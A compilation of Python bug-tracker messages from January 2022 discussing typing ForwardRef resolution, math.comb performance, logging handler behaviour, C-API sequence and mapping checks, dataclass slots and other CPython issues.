New submission from Andreas H. <ahangauer at gmx.net>:
Consider the following:
NewT = typing.NewType("NewT", typing.List[typing.Optional['Z']] )
class Z:
pass
Now get_type_hints() does not resolve the ForwardRef within NewType (but it does so for TypedDict, dataclasses, NamedTuple).
Neither of the following works.
1)
class dummy:
test: NewT
get_type_hints(test,None,None)
print( NewT.__supertype__.__args__[0].__args__[0]__.__forward_evaluated__ )
# --> False
Note: investigating the return value of get_type_hints does not change the outcome.
get_type_hints() patches ForwardRefs in-place.
2)
get_type_hints(NewT,None,None)
# --> TypeError is not a module, class, method, or function
For Python 3.10+ a workaround exists, but requires access to implementation details of NewType:
class dummy:
test: NewT.__supertype__
get_type_hints( dummy, globalns=sys.modules[NewT.__module__].__dict__, localns=None )
Possible solution could be
A) to extent `get_type_hints` to explicitly handle NewType (basically call _eval_type for the __supertype__ member).
That makes approach 2) work (but not 1)
or B) to extend _eval_type() to handle process NewType as well. This would make 1) work (but not 2).
I guess, since NewType is supposed to be semantically a subclass of the referred type, 2) is probably the preferred approach, which would suggest A).
Strictly speaking this issue exits in all Python versions that have NewType, but it is easier to fix in 3.10 because there NewType has the __module__ member.

Message-ID: <1642112368.34.0.095253636742.issue46370@roundup.psfhosted.org>
New submission from Eric Snow <ericsnowcurrently at gmail.com>:
The static initializer for `_PyRuntime` is currently defined in Include/internal/pycore_runtime.h. However, it is only needed by Python/pylifecycle.c (and Python/pystate.c for an optimization) and should only be used there. (Also, the initializer is quite large.) So I'm planning on moving it to it's own internal header file.

Subject: [issue46371] A better way to resolve ForwardRefs in type aliases
across modules
Message-ID: <1642117695.26.0.396895524876.issue46371@roundup.psfhosted.org>
New submission from Andreas H. <ahangauer at gmx.net>:
(De)Serialization of in-memory data structures is an important application.
However there is a rather unpleasant issue with ForwardRefs.
One cannot export type aliases when they contain ForwardRefs (and expect things to work).
Consider the example:
Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ]
When used in another module the containing ForwardRefs cannot be resolved, or in the worst case, resolve to
wrong types if in the caller namespace contains a symbol with the same name as ForwardRef refers to.
This of course only applies to inspection-based tools which utilize the run-time information, not the static type checkers.
Type aliases sometimes have to be used sometimes - they cannot be avoided in all cases,
especially with recursive types as in the example above.
There are several options to improve the situation. These are all that came to my mind and I want to expose them to discussion.
1. Guard with NewType
Json = NewType('Json', Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] )
Advantage: This could allow automatic cross-module ForwardRef resolution provided issue 46369 [1] is acknowledged as a bug and fixed.
Disadvantage: Does not create a true type alias, but a sub-type. Type casts have to be used all the time, e.g. `data = Json(bool)`.
So can only applied to a subset of use-cases (but is IMO a clean solution when it fits).
2. Use the `module` parameter of ForwardRef
Json = Union[ List[ForwardRef('Json', module=__name__)], Dict[str, ForwardRef('Json', module=__name__)], int, float, bool, None ] )
Advantage: Works in 3.10.
Disadvantage: Would require issue 46333 [2] to be fixed. ForwardRef is not meant to be instatiated by the user,
also `module` parameter is currently completely internal.
3. Modify ForwardRef so that it accepts a fully qualified name
Json = Union[ List[__name__+'.Json'], Dict[str, __name__+'.Json'], int, float, bool, None ] )
Advantage: This is only a tiny change (because ForwardRef has the `module` parameter). ForwardRef would stay internal. Less ugly than 2.
Disadvantage: Still a bit ugly. Would also require issue 46333 [2] to be fixed. Relative module specification (as in relative imports)
would not work.
4. Manual evaluation
Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ]
resolve_type_alias(Json, globals(), locals() )
def resolve_type_alias(type, globalns, localns):
class dummy:
test: type
typing.get_type_hints(dummy, globalns, localns) # Note: this modifies ForwardRefs in-place
Advantage: Works in many versions.
Disadvantage: Requires user to explicily call function after the last referenced type is defined
(this may be physically separated from the type alias definition, which does not feel like a good solution especially since
this ForwardRef export problem is only technical, and not even close to beeing obvious to most people)
5. Make `get_type_hints()` to work with type-aliases (essentially integrate above `resolve_type_alias`). The return value
of get_type_hints() would be the same as argument, just with ForwardRefs in-place resolved.
Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ]
get_type_hints(Json, globals(), locals())
Advantage: same as 4) but hides useful (but ugly) code
Disadvantage: same as 4)
6. Make all types in typing (such as List, Dict, Union, etc...) to capture their calling module and pass this information to ForwardRef, when
one is to be created. Then already during construction of ForwardRef the `module` will be correctly set.
Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ]
Advantage: This requires no user intervention. Things will "just work"
Disadvantage: This is rather big change. It is incompatible with the caching used inside typing.py (the new __module__ parameter would
need to be taken into account in __hash__ and/or __eq__). And maybe has other issues I do not see at the moment.
7. Extend `TypeAlias` hint so it can be used in bracket way similar to e.g. `Annotated`
Json = TypeAlias[ Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] ]
I know, presently it is supposed to be used as `Json: TypeAlias = Union[ .... ]`. But that is of no help at run-time, because
the variable Json contains no run-time information. So even if TypeAlias would capture the calling module,
this information is not passed on to the variable `Json`. This is different for the bracket notation TypeAlias[ .. ].
Advantage: Similar usage to Annotated. Would not require a big change such as in 4).
Disadvantage: TypeAlias is not supposed to be used that way.
8. Introduce function to define a type alias, which sets the module parameter of all ForwardRefs
Json = DefineTypeAlias( Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] )
DefineTypeAlias would capture its calling module and recursively walk over the type tree to find and patch all ForwardRefs
Advantage: Simpler change, but requires to recurively walk over all alias type-hints which do not capture their calling module.
Disadvantage: Together with TypeAlias, things look ugly and unnecessary complicated. (Json: TypeAlias = DefineTypeAlias( ... ) )
Personally, I think 1) is a good solution in cases where this can be applied (and [1] is considered a bug and fixed).
For the other cases 6) would be the ideal solution, but this may be too much work. Alternatively I think 3), 8) or 5) (in that order)
may be interesting and could be a potential enhancement to the `typing` module.
I would really appreciate some thoughts or comments on this! Thank you.

pointer `traces2` last assigned on line 1243 could be null and is dereferenced by call to `_Py_hashtable_destroy()` at line 1245, column 9.

That's a real bug: I wrote PR #30591 to fix it.
Whereas the following one must be ignored, since the function does crash (read at NULL) on purpose:
#360

I was thinking about
comb(1000000, 500000)
The simple "* --n / ++k" loop does 499,999 each of multiplication and division, and in all instances the second operand is a single Python digit. Cheap as can be.
In contrast, despite that it short-circuits all "small k" cases, comb_pole2.py executes
return C(n, j) * C(n-j, k-j) // C(k, j) # Recursive case
7,299,598 times. Far more top-level arithmetic operations, including extra-expensive long division with both operands multi-digit. At the very top of the tree, "// C(500000, 250000)" is dividing out nearly half a million bits.
But a tiny Python function coding the simple loop takes about 150 seconds, while Raymond's C() about 30 (under the released 3.10.1). The benefits from provoking Karatsuba are major.
Just for the heck of it, I coded a complication of the simple loop that just tries to provoke Karatsuba on the numerator (prod(range(n, n-k, -1))), and dividing that just once at the end, by factorial(k). That dropped the time to about 17.5 seconds. Over 80% of that time is spent computing the "return" expression, where len(p) is 40 and only 7 entries pass the x>1 test:
return prod(x for x in p if x > 1) // factorial(k)
That is, with really big results, almost everything is mostly noise compared to the time needed to do the relative handful of * and // on the very largest intermediate results.
Stefan's code runs much faster still, but requires storage proportional to k. The crude hack I used needs a fixed (independent of k and n) and small amount of temp storage, basically grouping inputs into buckets roughly based on the log _of_ their log, and keeping only one int per bucket.
Here's the code:
def pcomb2(n, k):
from math import prod, factorial
assert 0 <= k <= n
k = min(k, n-k)
PLEN = 40 # good enough for ints with over a trillion bits
p = [1] * PLEN
def fold_into_p(x):
if x == 1:
return
while True:
i = max(x.bit_length().bit_length() - 5, 0)
if p[i] == 1:
p[i] = x
break
x *= p[i]
p[i] = 1
def showp():
for i in range(PLEN):
pi = p[i]
if pi > 1:
print(i, pi.bit_length())
for i in range(k):
fold_into_p(n)
n -= 1
showp()
return prod(x for x in p if x > 1) // factorial(k)
I'm not sure it's practical. For example, while the list p[] can be kept quite small, factorial(k) can require a substantial amount of temp storage of its own - factorial(500000) in the case at hand is an int approaching 9 million bits.
Note: again in the case at hand, computing it via
factorial(1000000) // factorial(500000)**2
takes about 10% longer than Raymond's C() function.

Subject: [issue46373] TypedDict and NamedTuple do not evaluate cross-module
ForwardRef in all cases
Message-ID: <1642151180.4.0.790714368451.issue46373@roundup.psfhosted.org>
New submission from Andreas H. <ahangauer at gmx.net>:
TypedDict does not resolve cross-module ForwardRefs when the ForwardRef is not a direct one.
In other words the fix GH-27017 (issue 41249) for TypedDict seems incomplete.
The same issue seem to exist for NamedTuple.
Example:
#module.py
TD = typing.TypedDict("TD", {'test': typing.List[typing.Optional['Y']]})
class Y:
pass
# other module
class TDSub(module.TD):
a: int
get_type_hints(TDSub)
# -> Exception NameError: Y not found
On the other hand, with direct ForwardRef, as e.g. in
TD = typing.TypedDict("TD", {'test': 'Y' } )
it works (that was indeed fixed by GH-27017)
Same issue exists for NamedTuple. There neither of the above works, i.e. cross-module ForwardRefs are never resolve (but they could - als NamedTuple has the __module__ member set with to calling module). I am not sure if inheritance for NamedTuple is supported so I do not know if it is really a bug.
The problem in the code is that in TypedDict the `module` parameter is passed only onto the immediate ForwardRef. One option could be to recursively walk the type and search for unpatched ForwardRefs and set the module parameter.
On the other hand, the retroactive patching of forward refs is problematic as it may mess with the caching mechanism im typing.py. There may be a type with ForwardRef already in cache (and used by more than one user), but only for one user the `module` is to be updated. So probably a correct implementation is tricky, or some other way has to be found to update the `module` of ForwardRefs (e.g. by copying the type tree).
For NamedTuple the whole mechanism of passing the `module` parameter to the ForwardRefs is not done (not even for direct ForwardRef ones).
Not sure how important this (likely not very) is as I do not use TypedDict and NamedTuple. This is just to report it.

I think we should go with `1)` and `A`.
Adding a special case for getting hints from `NewType` directly does seem inconsistent with other type-constructs.
Do you want to fix this? :)
Or I can work on it today if you wish!

Subject: [issue46375] io.BytesIO does not have peek()
Message-ID: <1642156764.85.0.265737268073.issue46375@roundup.psfhosted.org>
New submission from Marcel Martin <python at marcelm.net>:
It would be great to be able to use peek() on BytesIO objects.
I have a function that gets passed a file-like object and uses peek() on it. This works for nearly all types of files relevant in my library, except BytesIO instances (which I use during testing), for which I need to add a small workaround using tell() and seek().

Mark Shannon <mark at hotpy.org> added the comment:
I can reproduce this on linux.
The problem is that when closing a generator that has not started, the frame may not be in a valid state (hence the assertion failure).
This should be fixed by implementing https://github.com/faster-cpython/ideas/discussions/217 as that will ensure that the frame is in a valid state before the generator is created.
I'll make implementing https://github.com/faster-cpython/ideas/discussions/217 a priority in order to fix this.

Message-ID: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org>
New submission from Aviram <aviramyhassan at gmail.com>:
This is re-open of https://bugs.python.org/issue5945.
In the former issue, it was decided that documenting the odd behavior and later providing clean, good ABC C API would be the long term solution.
Few years passed and there are no alternatives AFAIK
I am wondering if that's due to lack of resources or just forgotten?
I don't mind contributing the necessary change in case there's really nothing in progress and it is something Python community wants to fix.
Hopefully there's an existing solution and I just didn't search well enough.

Subject: [issue46377] TimedRotatingFileHandler "midnight" misleading when
interval > 1
Message-ID: <1642168248.18.0.205175918146.issue46377@roundup.psfhosted.org>
New submission from Mike Schiessl <mschiess at akamai.com>:
Using the TimedRotatingFileHandler along with "when='midnight'" and interval > 1, midnight is handled equally to "days" which is a little misleading.
Expectation:
setting when to 'midnight', the file is rotated every midnight (interval value should be ignored)
Current behavior:
If 'midnight' is given alongside with an interval greater than 1 (.e.g 5), the (internal) interval (24*60*60) is calculated with the given interval -> 24*60*60 * 5.
In my case, this led to some unforeseeable and unexpected behavior.

Now the example code raises an AssertionError(). Is that intended? I don't think that's any better.
I usually wouldn't expect an HTML parser to raise any error if you pass it a string, but instead to do fault tolerant parsing. And if it's expected that some inputs can generate exceptions, at least I think this should be properly documented.

Bar Harel <bzvi7919 at gmail.com> added the comment:
Up until now, trying to distinguish between actual sequences and mappings in C-API was a pain. Same methods are implemented in customer user classes, and the ABCs could have either been registered dynamically or had an appropriate __subclasshook__. On top of that, making the same checks as isinstance regarding the whole ABC and __mro__ chain would considerably slow down the code.
The new tp_flags are set in both registered abc classes, and subclasses of the appropriate types. As tp_flags exists, we don't even need to account for tp_as_mapping and tp_as_sequence. According to the docs "if such a flag bit is clear, the type fields it guards must not be accessed and must be considered to have a zero or NULL value instead.". User made classes that don't inherit from the Sequence and Mapping ABCs are not considered either, and there is no __subclasshook__ for these ABCs so inheritance is fully enforced.
As we cover builtins, c-extension classes and user-made Python classes, checking tp_flags is guaranteed to be accurate for distinguishing between mapping and sequence types, and would be as fast as a pointer dereference can be.
Modifying the current PySequence_Check and PyMapping_Check might be a breaking change, especially on a C-API level. However one can argue that checking for a mapping and expecting a failure on user-made mappings counts as a bug. Having them accurately return the correct type in a fast manner using tp_flags is therefore an acceptable breaking change.

Making a change without considering backward compatibility is premature. I've closed the PR as there appears to be something wrong with it - it references hundreds of changed files. Did you look at the 'atTime' keyword parameter of TimedRotatingFileHandler?

Do note, the relevant functions are in the Stable ABI, and their promise will slightly change, yet modifying the current functions instead of creating new ones may still be beneficial.

Mike Schiessl <mschiess at akamai.com> added the comment:
i've just checked PR and you're right, something with the PR went wrong.
Anyway, midnight (at least from the wording) specifies the "atTime". (which should be midnight).
Again, if there's (by mistake) an interval bigger than 1 set(which in my mind makes no sense along to be used with midnight) things are getting pretty intransparent. The midnight handler created a logfile dated with 2021-12-15 (last night). Took me some time to get this sorted. (I've discovered, that I've set 30 in a default value file).
Agreed on the backward compatibility, but I would assume someone using "midnight" would not expect any other behavior than "daily at midnight" besides using the atTime to modify the rollover time. (my opinion)

Unfortunately, you can't rely on people always doing "the sensible thing", for any number of good reasons. If a particular set of parameter values didn't cause failure, it is probably used somewhere.
Anyway, your problem goes away if interval == 1, right? If we were to tighten things up (e.g. disallowing interval > 1 with "midnight"), then it would have to be done on a deprecation cycle at the very least, ISTM.

Message-ID: <1642182114.77.0.464829533122.issue46379@roundup.psfhosted.org>
New submission from Markus Wallerberger <markus.wallerberger at tuwien.ac.at>:
The reference implementation of itertools.product creates large temporaries, which we need to remind people of at the top of the code block.
However, using generator magic, we don't need to do this and can even simplify the code in the process! Basically,we iterate over a generator of product(*seq[:-1]), and extend each of the values by every value in seq[-1].

Subject: [issue46380] `test_functools.TestLRU` must not use `functools` module
directly
Message-ID: <1642183054.5.0.671843875323.issue46380@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now there are two tests in Lib/test/test_functools.py that use `functools.lru_cache` directly:
1. https://github.com/python/cpython/blame/73140de97cbeb01bb6c9af1da89ecb9355921e91/Lib/test/test_functools.py#L1417
2. https://github.com/python/cpython/blame/73140de97cbeb01bb6c9af1da89ecb9355921e91/Lib/test/test_functools.py#L1429
But, I don't think it is correct. Why?
```python
class TestLRUPy(TestLRU, unittest.TestCase):
module = py_functools
class TestLRUC(TestLRU, unittest.TestCase):
module = c_functools
```
Source: https://github.com/python/cpython/blame/73140de97cbeb01bb6c9af1da89ecb9355921e91/Lib/test/test_functools.py#L1798-L1823
So, what can we do?
1. Use `self.module.lru_cache` instead (I think it is the right way)
2. Move them to `TestLRUPy`, but I don't think they should be python-specific

Yes, enforcing interval == 1 or interval == None (which pulls the TimedRotatingFileHandler class __init__ default value which is also 1) works perfectly with midnight.
I do not see any urge on that topic - as I personally now know the issue :D - but I really feel this fix could save someones else's time someday ;)
So going the "safe" way via deprecation cycle seems to be the right approach

I submitted a draft patch. Using TPFlags alone doesn't cut it as some types are excluded (bytes, str, bytearray) in sequence and same for mapping. I'm thinking of checking for those cases specifically as those are very very specific casings. Would love some input.

Subject: [issue46381] Improve documentation of CFLAGS_NODIST, LDFLAGS_NODIST
Message-ID: <1642185496.49.0.558821862955.issue46381@roundup.psfhosted.org>
New submission from Matthias K?ppe <matthiaskoeppe at gmail.com>:
The documentation of
- https://docs.python.org/3.11/using/configure.html#envvar-CFLAGS
- https://docs.python.org/3.11/using/configure.html#envvar-CFLAGS_NODIST
- https://docs.python.org/3.11/using/configure.html#envvar-LDFLAGS
- https://docs.python.org/3.11/using/configure.html#envvar-LDFLAGS_NODIST
should explain more clearly that flags such as `-I`, `-L`, etc. and strict compiler flags such as `-Werror...` should not be put into `CFLAGS`, `LDFLAGS`, or it will make the resulting Python unusable for compiling user packages with extension modules via `distutils` and `setuptools`.
Various downstream packagers have provided misconfigured Pythons:
- Homebrew (https://trac.sagemath.org/ticket/31132, https://github.com/Homebrew/homebrew-core/pull/68528, resolved)
- Cygwin (https://trac.sagemath.org/ticket/33078, https://cygwin.com/pipermail/cygwin/2021-December/250302.html, resolved in a proposed package update)
- pyenv (https://trac.sagemath.org/ticket/32531, https://github.com/pyenv/pyenv/issues/2204, open)
So this appears to be a documentation / user education issue in CPython.

Message-ID: <1642186227.39.0.0319442855926.issue37295@roundup.psfhosted.org>
Tim Peters <tim at python.org> added the comment:
Another trick, building on the last one: computing factorial(k) isn't cheap, in time or space, and neither is dividing by it. But we know it will entirely cancel out. Indeed, for each outer loop iteration, prod(p) is divisible by the current k. But, unlike as in Stefan's code, which materializes range(n, n-k, -1) as an explicit list, we have no way to calculate "in advance" which elements of p[] are divisible by what.
What we _can_ do is march over all of p[], and do a gcd of each element with the current k. If greater than 1, it can be divided out of both that element of p[], and the current k. Later, rinse, repeat - the current k must eventually be driven to 1 then.
But that slows things down: gcd() is also expensive.
But there's a standard trick to speed that too: as in serious implementations of Pollard's rho factorization method, "chunk it". That is, don't do it on every outer loop iteration, but instead accumulate the running product of several denominators first, then do the expensive gcd pass on that product.
Here's a replacement for "the main loop" of the last code that delays doing gcds until the running product is at least 2000 bits:
fold_into_p(n)
kk = 1
for k in range(2, k+1):
n -= 1
# Merge into p[].
fold_into_p(n)
# Divide by k.
kk *= k
if kk.bit_length() < 2000:
continue
for i, pi in enumerate(p):
if pi > 1:
g = gcd(pi, kk)
if g > 1:
p[i] = pi // g
kk //= g
if kk == 1:
break
assert kk == 1
showp()
return prod(x for x in p if x > 1) // kk
That runs in under half the time (for n=1000000, k=500000), down to under 7.5 seconds. And, of course, the largest denominator consumes only about 2000 bits instead of 500000!'s 8,744,448 bits.
Raising the kk bit limit from 2000 to 10000 cuts another 2.5 seconds off, down to about 5 seconds.
Much above that, it starts getting slower again.
Seems to hard to out-think! And highly dubious to fine-tune it based on a single input case ;-)
Curious: at a cutoff of 10000 bits, we're beyond the point where Karatsuba would have paid off for computing denominator partial products too.

Sounds good. Would you expose the `copy_function` argument in pathlib, or do something else (like `metadata=True`)?

Subject: [issue46382] dataclass(slots=True) does not account for slots in base
classes
Message-ID: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org>
New submission from Arie Bovenberg <a.c.bovenberg at gmail.com>:
@dataclass(slots=True) adds slots to dataclasses. It adds a slot per field.
However, it doesn't account for slots already present in base classes:
>>> class Base:
... __slots__ = ('a', )
...
>>> @dataclass(slots=True)
... class Foo(Base):
... a: int
... b: float
...
>>> Foo.__slots__
('a', 'b') # should be: ('b', )
The __slots__ documentation says:
If a class defines a slot also defined in a base class, the instance variable
defined by the base class slot is inaccessible (except by retrieving its descriptor
directly from the base class). This renders the meaning of the program undefined.
In the future, a check may be added to prevent this.
Solution: don't add slots which are already defined in any base classes:
>>> @dataclass
... class Bla(Base):
... __slots__ = ('b', )
... a: int
... b: float
...
>>> Bla(4, 5.65)
Bla(a=4, b=5.65)
If you agree, I'd like to submit a PR to fix this. I already have a prototype working.

Gregory P. Smith <greg at krypto.org> added the comment:
[data] I finally dug up the old YouTube doc at work with their findings. Mostly just posting this here for future public reference if anyone wants. Nothing surprising.
When youtube experimented with a modified 2.7 adding "eternal refcounts" in 2015, they saw a 3-5% CPU performance regression. (not the 10% I had in my mind)
Their version of this simply set a high bit on the refcount as the indicator and added the obvious conditional into the Py_INCREF/Py_DECREF macros.
Unsurprisingly in line with what others have since found. For their preforked server and decision of what to mark eternal before forking, it saved them 10% ram (fewer copy on writes). The -ram vs +cpu +maintenance cost tradeoff wound up not being worthwhile to them though. Their motivation for trying was entirely COW memory savings.
=== CPython 2.7 object.h modification they used:
```
+#ifdef GOOGLE_ETERNAL_REFCOUNT_SUPPORT
+
+#define PY_ETERNAL_REFCOUNT (PY_SSIZE_T_MAX / 2)
+
+#define Py_IS_ETERNAL(op) ( \
+ ((PyObject*)(op))->ob_refcnt >= PY_ETERNAL_REFCOUNT)
+
+#define Py_SET_ETERNAL(op) \
+ do { \
+ ((PyObject*)(op))->ob_refcnt = PY_ETERNAL_REFCOUNT; \
+ if (PyObject_IS_GC(op)) { \
+ PyObject_GC_UnTrack(op); \
+ } \
+ } while (0)
+
+#define Py_INCREF(op) ( \
+ Py_IS_ETERNAL(op) \
+ ? PY_ETERNAL_REFCOUNT \
+ : (_Py_INC_REFTOTAL _Py_REF_DEBUG_COMMA \
+ ((PyObject*)(op))->ob_refcnt++) \
+ )
+
+#define Py_DECREF(op) \
+ do { \
+ if (Py_IS_ETERNAL(op)) break; \
+ if (_Py_DEC_REFTOTAL _Py_REF_DEBUG_COMMA \
+ --((PyObject*)(op))->ob_refcnt != 0) \
+ _Py_CHECK_REFCNT(op) \
+ else \
+ _Py_Dealloc((PyObject *)(op)); \
+ } while (0)
+
+#else
```

@barney, I am not sure that I understand your question.
I think adding another method `Pathlib.Path` and `Pathlib._Accessor` is my preferred way. The would be something like:
class _NormalAccessor(_Accessor):
...
self.move = shutil.move
class Path:
....
def move(self, src, dest):
self._accessor.move(self, target)
return self.__class__(target)
Now, this is hardly a patch. I need to submit a PR with proper docs, tests and NEWS entry... I will be glad to work on it. However, I guess I need someone to "sponsor" it and merge it.

Message-ID: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org>
New submission from Christian Heimes <lists at cheimes.de>:
The zoneinfo C extension has the "freefunc m_free" function with signature "static void module_free(void)". The signature of freefunc is "void (*freefunc)(void *)". It takes a void * argument, but module_free() does not.
The signature mismatch is not a problem for most C compilers. But Web Assembly is more strict. wasm32-emscripten fails and aborts at runtime:
worker.js onmessage() captured an uncaught exception: RuntimeError: function signature mismatch
Pthread 0x8a1df0 sent an error! undefined:undefined: function signature mismatch

shutil.move() accepts a `copy_function` argument:

It's possible to set `copy_function=copy` to skip copying file metadata.

Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:
Markus, thank you for the suggestion but I'm going to decline. When this rough equivalent was first created, we looked at several recipes and chose this one as being one of the least magical. Intentionally, we did not use the variant you've proposed. To a person well versed in recursion and in generator chains it makes sense but not so much for anyone else. Plus it is hard to step through by hand to see what it is doing.
In general, the rough equivalents were intended to a way to understand what output is going to be generated. That is why they are mostly simple rather than being faithful to the actual implementations (otherwise, we would use classes rather than generators for all the equivalents). Viewed in this light, we place almost zero weight to making the recipe memory efficient with respect to temporary variables.

As far as I am concerned, this issue can be closed. I have found a workaround which allows me to reproduce and analyze the SyntaxError that are not captured by custom exception hook.

> To a person well versed in recursion and in generator chains it makes sense but not so much for anyone else.
There I pretty much fundamentally disagree. I find the version in the docs much more magical in the sense that it builds up "laterally", i.e., level-by-level, rather than element-by-element.
Also, I think from a functional programming perspective, which, let's face it, is what these iteration/generator tools are really modelling, a recursive version is much more natural. It also generalizes nicely to other problems which people may be having -- so it has the added benefit of explaining the code and teaching people useful patterns.
Take the itertools.permutation as an example: writing that as it was in the reference implementation the code is IMHO pretty opaque and hard to reason about. Write it in a recursive style and both its working and correctness is immediately obvious.
> Plus it is hard to step through by hand to see what it is doing.
This I agree with.
Anyway, thanks for taking the time to explain the rejection.

Message-ID: <1642205458.33.0.328228361035.issue46367@roundup.psfhosted.org>
STINNER Victor <vstinner at python.org> added the comment:
> It appears the `multiprocessing`'s "spawn" mode doesn't actually use POSIX spawn, but instead uses fork+exec[1].
The documentation doesn't pretend to use posix_spawn(). It only says: "starts a fresh python interpreter process".
https://docs.python.org/dev/library/multiprocessing.html#contexts-and-start-methods
I suggest to close the issue as "not a bug". I don't see anything wrong in the current documentation.
--
posix_spawn() is a function of the C library. It is implemented as fork+exec on most operating systems. I'm only aware of macOS which has a dedicated syscall. Well, posix_spawn() implementation is usually faster thanks to some optimizations.
Python has os.posix_spawn() since Python 3.8.
The subprocess can use os.posix_spawn() on Linux under some conditions:
https://docs.python.org/dev/whatsnew/3.8.html#optimizations
Sadly, it's not used by default, since close_fds=True remains subprocess.Popen() default.
I'm open to use it on more platforms. os.posix_spawn() can only be used if it reports properly errors to the parent process, and some other things and bugs. It's a complex function!
--
Oh, about multiprocessing. Well, someone has to propose a patch! I don't know why multiprocessing uses directly _posixsubprocess.fork_exec() rather than the subprocess module. It's also a complex module with many specific constraints.
posix_spawn() looks nice, but it cannot be used in many cases :-(

When you write :option:`--without-freelists` in what's new in Python 3.11 to get a link ;-)

New submission from Hiroshi Miura <miurahr at linux.com>:
py7zr 3rd party project that use lzma module to compress/decompress 7-zip archive uses lzma._(encode|decode)_filter_properties.
These methods are public at first but become private in py3.4 at commit a425c3d5a264c556d31bdd88097c79246b533ea3
Here is a reason described in commit comment
> These functions were originally added to support LZMA compression in the zipfile module, and are not of interest for the majority of users.
This is a request these methods to be public.

Message-ID: <1642215023.68.0.0629271739677.issue46385@roundup.psfhosted.org>
New submission from Devin Harper <345trig at gmail.com>:
Parenthetical symbols like ()[]{} are unneeded if you just remove the complaining in the compiler/interpreter/programming language. It will increase readability and natural language programming( NLP). Just treat the symbols as strings and optional even for lists removing tuples. Tuples are unneeded too. Lists have everything tuples have and more.

Not true: tuples are hashable, so they can be used as keys in dicts and sets, while lists cannot.
The Python-Ideas mailing list, rather than this bug tracker, is probably a better location for these sorts of proposals, so I'll close this for now, but this ticket can be re-opened if you can arrive at some sort of consensus with others on that list.

Another question we should ask is about duck typing. Is a sequence which doesn't inherit from abc.Sequence considered a sequence? Whatever the answer is, PySequence specifically looks for a sequence and removes duck typing out of the picture. The object will not pass static typing and will not pass isinstance check, so there's no reason for it to pass PySequence.

This would be a breaking change (for example, it broke the long stable sre_parse code).
The utility of PySequence_Check and PyMapping_Check is already so low that it isn't work breaking other things to just to marginally improve these two minor and rarely used functions.
These functions will never be fully reliable. The documentation explains that in general, we can't tell if a class with __getitem__ is a mapping or a sequence. Sometimes hints are present (such as the tp_flags), but the can't get a reliable result. As Guido observed, "calling PyMapping_Check() was never particularly reliable, and extension modules depending on it probably always had subtle bugs." That was true in 2011 and it is still true today.
I recommend closing this. These functions are mostly unimportant and unreliable and cannot be made correct. In contrast, iterability is important and needs to be stable. Special cases aren't important enough to break the rules.

Steven D'Aprano <steve+python at pearwood.info> added the comment:
Dennis beat me to it in saying that tuples cannot be replaced by lists.
But I also wanted to say that it is *not true* that removing bracket symbols would increase readability. Natural language allows parenthetical phrases -- which can be bracketed using dashes (or with parentheses [commonly called round brackets in the British commonwealth]) or even commas -- so even in natural language they are used.
Even programming languages which are much, much closer to natural language than Python, like Hypertalk and Inform-7, use parentheses and delimiters for various purposes, for example:
http://inform7.com/book/WI_21_3.html
Ultimately, we simply can't remove brackets (square, round or curly) from the language. It would make it impossible to tell whether
func(1, 2, 3, 4, 5)
was a call to func() with 5 integer arguments, or a single 5-element list argument, or two 2-element lists and an integer, or three integers and a 2-element list, etc.
So don't waste your time taking this proposal to Python-Ideas.

Couldn't find that mailing list sorry. There's only 1 for developers like you. Removing tuples would be backwards compatible. My plan would automatically convert tuples to lists. Just keep all the list code besides parenthetical symbols. Merge tuple and list code besides parenthetical symbols if you have to. You can hash 1 item lists.
I do believe in keeping commas to delineate items on a list. Commas are used in natural language lists not parenthetical symbols. Just because natural language programming languages don't have natural language perfected yet doesn't mean we shouldn't perfect it in python 1st. Of course natural language is easier to read and understand than this bug. Why did you say it's not easier? You didn't say yet.
I already tested tuples to confirm your other concern applies to them but not lists. I said keep list code. The mitigation for that tuple confusion is probably in there. Because lists don't have that problem. I never said get rid of lists. I only said get rid of parenthetical symbol complaints. It will just work with hard science. Just test it.

I thought about it, what about simply excluding TPFLAGS_MAPPING from PySequence and TPFLAGS_Sequence from PyMapping? It will remove the types that are 100% not sequences or mappings, as these flags are mutually exclusive by definition. The result will be much more accurate, yet not cause a breaking change, apart from places where it is truly not a sequence or mapping.

If they can't be made fully reliable, why would we ever recommend that someone use these functions in real code? They can be made to guess better than they guess now, but there is still guesswork.
ISTM developers should follow the structure pattern matching implementation and refuse the temptation to guess. If a class declares itself as a mapping or sequence, that is reliable information. In contrast, these functions attempt to divine meaning in the absence of a clear declaration. Using these functions will likely result in subtle bugs.
Once Py_TPFLAGS_MAPPING and Py_TPFLAGS_SEQUENCE became available, we should have deprecated these functions. No one should use them anymore. Their core design is flawed; they tried to deduce semantics from structural artifacts.

Here's question to focus on: In what circumstances should a developer ever prefer PyMapping_Check() over PyType_HasFeature() with Py_TPFLAGS_MAPPING?
The latter doesn't give any new, useful information:
return o && Py_TYPE(o)->tp_as_mapping &&
Py_TYPE(o)->tp_as_mapping->mp_subscript;
I don't see any reason to build on top of this. It's best to just let it go gently into the good night without disrupting anything that currently happens to work.

There are already 2 complexities I can think of:
1. This behavior may break some people's code, if they use __slots__ to iterate over
the fields of a dataclass. Solution: explicitly mention in the docs that
not every field may get a slot on the new class. Advise them to use
`fields()` to iterate over the fields.
2. It's technically allowed for __slots__ to be an iterator (which will then be
exhausted at class creation). Finding the __slots__ of such a class
may require more elaborate introspection.

I agree that a developer should and would prefer the `Py_TPFLAGS_*` but when you visit https://docs.python.org/3/c-api/sequence.html
It seems like the best practice to determine Sequence protocol is by using this function, hence leading to confusion. There's no recommendation to use the new `Py_TPFLAGS_*`.
To have this knowledge of `Py_TPFLAGS_*` one should be very knowledgable in Python's C-API.
How about adding a deprecation note to `PyMapping_Check` & `PySequence_Check` in the documentation, suggesting the alternative path (to use `PyType_HasFeature`)?

@rhettinger I completely understand what you're saying and at first I agreed with you. Before I gave it a closer look, I thought about the same thing - we want reliability. Reliability is important and will avoid subtle bugs, which is why I was against this change for the exact reasons you mentioned: it is both breaking and unreliable.
